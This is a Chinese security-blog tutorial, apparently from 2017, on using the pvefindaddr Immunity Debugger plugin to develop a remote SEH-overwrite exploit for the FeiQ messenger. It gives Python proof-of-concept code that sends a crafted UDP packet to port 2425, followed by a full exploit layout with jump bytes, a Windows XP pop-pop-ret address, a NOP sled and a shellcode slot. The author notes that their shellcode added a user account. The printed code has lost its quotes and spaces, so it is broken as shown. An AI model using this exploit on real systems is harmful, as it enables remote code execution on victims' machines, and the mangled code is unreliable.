标题 简介 类型 公开时间
关联规则 关联知识 关联工具 关联文档 关联抓包
参考1(官网)
参考2
参考3
详情
[SAFE-ID: JIWO-2024-840]   作者: ecawen 发表于: [2017-10-15]

本文共 [388] 位读者顶过

 pvefindaddr插件是ImmunityDebugger调试器的一个脚本插件,提供了快速定位缓冲区溢出点的各项常用功能,使得编写漏洞利用程序更为简单快速。

这里我们通过调试修改一段飞秋远程溢出程序,一起感受一下pvefindaddr插件的魅力。飞秋的这个远程溢出漏洞,由artake在论坛上首次公布其漏洞细节,并发布了POC代码)。不过这个POC代码写得不是很清楚,还需要自己重新摸索构造才来得真切一些。

飞秋这个漏洞的具体技术细节这里就不重复了,我们只讨论通过pvefindaddr插件进行利用程序的开发流程。首先,你的电脑上应安装好ImmunityDebugger调试器,然后从网站下载pvefindaddr插件,将其拷贝到ImmunityDebugger调试器安装目录的PyCommands子目录,如图1所示。

用ImmunityDebugger调试器打开飞秋应用程序“飞秋FeiQ.exe”并运行。我们先构建一个简单POC程序,造成其溢出。根据artake的POC程序,用Python编写代码如下:

[出自:jiwo.org]

importstruct
importsocket
addr=(192.168.223.129,2425)
#headlength=89
head
=
1_lbt4_1#65664#6CF04987CC1A#570#31741#4294967295#2.5a:1317316152:admin:XXCCLI-A10D5C26:0:
junk=A*10000
payload=head+junk
skt=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
skt.sendto(payload,addr)
skt.close()


上面的代码中,addr为IP地址和端口对,测试的时候可以根据自己的测试环境进行修改。head为触发需要的特定报文头,junk为我们构造的触发数据包。运行程序,飞秋溢出漏洞被触发,ImmunityDebugger调试器截获了异常,如图2所示。

现在我们开始用pvefindaddr插件来进行漏洞利用程序的辅助开发。首先在ImmunityDebugger窗口下方的命令输入框输入“!pvefindaddr”并回车,再按下Alt+L快捷键调出Log窗口,可以看到pvefindaddr的帮助文档,如图3所示。

pvefindaddr插件有很多有用的功能,这里我们只使用几个常用的功能。漏洞利用程序,首先需要解决的就是溢出点定位的问题。C语言中有很经典的溢出点定位方法,而使用pvefindaddr插件定位更加快捷便利。相信使用过Metasploit的朋友对其字模生成程序并不陌生,在pvefindaddr中也实现了相应的字模实现功能。输入命令:“!pvefindaddrpattern_create10000”,代表生成10000个字节的字模数据块,并存放于mspattern.txt文件中,可以在ImmunityDebugger的安装目录下找到该文件,如图4所示。

该文件包含了我们生成的10000个字节的字模数据。现在修改刚才的利用程序,把“junk=A*10000”一句替换为我们的字模数据,如下(由于数据过长,这里显示不完整):junk=Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab...

重新运行挂接了飞秋程序的ImmunityDebugger,再次运行我们的POC程序触发漏洞,此时直接在ImmunityDebugger命令输入框中输入:“!pvefindaddrfindmsp”,就可轻松定位程序溢出点,如图5所示。

如果你是像我一样的初学者,面对溢出点无所适从的话,pvefindaddr插件也提供了一个很好用的命令,可以输入:“!pvefindaddrsuggest”,这样Log日志窗口不但会显示出程序溢出点位置,还能给出pvefindaddr建议的漏洞利用代码,如图6所示。

从上图可以看到,pvefindaddr插件不但给出了漏洞利用的Perl代码,还建议使用“!pvefindaddrp–n”命令来查找“poppopret”代码地址,对初学者可谓考虑周到。好了,现在我们可以构造自己的POC程序了,代码如下:


importstruct
importsocket
addr=(192.168.223.129,2425)
#headlength=89
head
=
1_lbt4_1#65664#6CF04987CC1A#570#31741#4294967295#2.5a:1317316152:admin:XXCCLI-A10
D5C26:0:
junk=\x41*7406
nseh=\xeb\x06\x90\x90
seh
=struct.pack(L,0x7FFA1571)#中文版winxp下poppopret通用地址
nops=\x90*24
=
shellcode
payload=head+junk+nseh+seh+nops+shellcode
skt=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
skt.sendto(payload,addr)
skt.close()


上面的代码没有写shellcode,大家可以通过Metasploit生成自己需要的shellcode。比如在POC中,我生成了一段添加用户名和密码都为abc的shellcode。POC程序运行前后的效果如图7所示。

由此可见,pvefindaddr插件极大地提高了我们开发漏洞利用程序的效率。无论你是老手还是新手,都能从pvefindaddr插件中找到喜欢的功能。另外,该插件的作者已不再对其进行更新,而是推出了其升级插件mona,在使用方法基本不变的基础上,又增加了更为丰富的功能,大家可以下载来体验一下。

评论

暂无
发表评论
 返回顶部 
热度(388)
 关注微信